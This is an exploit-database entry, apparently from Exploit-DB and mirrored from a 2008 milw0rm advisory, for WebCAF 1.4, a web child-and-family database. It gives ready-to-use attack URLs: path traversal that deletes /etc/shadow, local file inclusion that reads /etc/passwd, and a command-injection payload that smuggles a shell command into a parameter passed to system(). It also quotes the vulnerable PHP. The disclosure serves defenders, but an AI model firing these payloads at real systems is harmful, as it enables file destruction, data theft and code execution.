header-logo
Suggest Exploit
vendor:
WebCAF
by:
dun
8.8
CVSS
HIGH
Arbitrary File Delete, LFI, RCE
22, 98, 78
CWE
Product Name: WebCAF
Affected Version From: 1.4
Affected Version To: 1.4
Patch Exists: No
Related CWE: N/A
CPE: a:webcaf:webcaf:1.4
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

WebCAF <= 1.4 Multiple Remote Vulnerabilities

WebCAF is a web-based child and family database developed by Head Start of Lane County. It contains three vulnerabilities, an Arbitrary File Delete vulnerability, a Local File Inclusion vulnerability, and a Remote Code Execution vulnerability. The Arbitrary File Delete vulnerability is present in the index.php file, lines 49-50 and 61-63. The Local File Inclusion vulnerability is present in the index.php file, lines 68-131, and the Remote Code Execution vulnerability is also present in the index.php file, lines 68-131. The view.php file also contains a Local File Inclusion vulnerability, lines 12-21.

Mitigation:

The Arbitrary File Delete vulnerability can be mitigated by removing the unlink() function from the index.php file. The Local File Inclusion vulnerability can be mitigated by removing the include() function from the index.php and view.php files. The Remote Code Execution vulnerability can be mitigated by removing the include() function from the index.php file.
Source

Exploit-DB raw data:

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #########################################################
 #  [ webcaf <= 1.4 ]  Multiple Remote Vulnerabilities   #
 #########################################################
 #
 # Script: "WebCAF is a web-based child and family database developed by Head Start of Lane County..."
 #
 # Script site: http://www.webcaf.org/
 # Download: http://www.webcaf.net/downloads/webcaf-1.4.tar.gz
 #
 # [Arbitrary File Delete Vulnerability]
 # Vuln: http://site.com/webcaf/index.php?user_uid=../../../../../../etc/shadow ;)
 #
 # Bug: ./webcaf/index.php (lines: 49-50 and 61-63) 
 #
 # ...
 #	// Login, if necessary
 #	if (!$user_uid) include("modules/login.php");
 # ... 	 
 #	if ($_REQUEST[op] != "update") {
 #		if (file_exists("local/tmp/.$user_uid")) unlink("local/tmp/.$user_uid");
 #	}
 # ... 	 
 #
 #
 # [LFI] 
 # Vuln: http://strcpy.pl/webcaf/webcaf/?user_uid=1&op=forms&form=../../../../../../../../../../../../etc/passwd
 #		 http://strcpy.pl/webcaf/webcaf/?user_uid=1&op=reports&report=../../../../../../../../../../../../etc/passwd
 #
 # Bug: ./webcaf/index.php (lines: 68-131) 
 #
 # ...
 # 	switch ($_REQUEST[op]) {
 # ...
 #	case "forms":
 #		$_REQUEST[form] ? include("local/forms/$_REQUEST[form]") : include("modules/forms.php");	//LFI
 #		break;
 # ...
 #  case "reports":
 #		$_REQUEST[report] ? include("local/reports/$_REQUEST[report]") : include("modules/reports.php");  	//LFI
 #		break;
 # ...
 #  }
 # ... 	 
 #
 # Vuln: http://strcpy.pl/webcaf/webcaf/modules/view.php?view=../../../../../../../../../../../etc/passwd%00
 #
 # Bug: ./webcaf/modules/view.php (lines: 12-21) 
 #
 # ...
 #	if ($_REQUEST[view]) {
 # ...
 #  		include("views/$_REQUEST[view].php");	//LFI
 #	}
 # ... 	 
 #
 #
 # [RCE]
 # Vuln: http://site.com/webcaf/about.php?_WEBCAF[db_database]=asfa%22;id%3E/tmp/aaa.txt;false%20%22
 #
 # Bug: ./webcaf/index.php (lines: 127) 
 #
 # ...
 # $str_result = system("$str_mysql --database=\"$_WEBCAF[db_database]\" --user=\"$_WEBCAF[db_username]\" --password=\"$_WEBCAF[db_password]\" --html --execute=\"status\"");
 # ... 	 
 #
 # and a lot of other bugz...
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-12-08]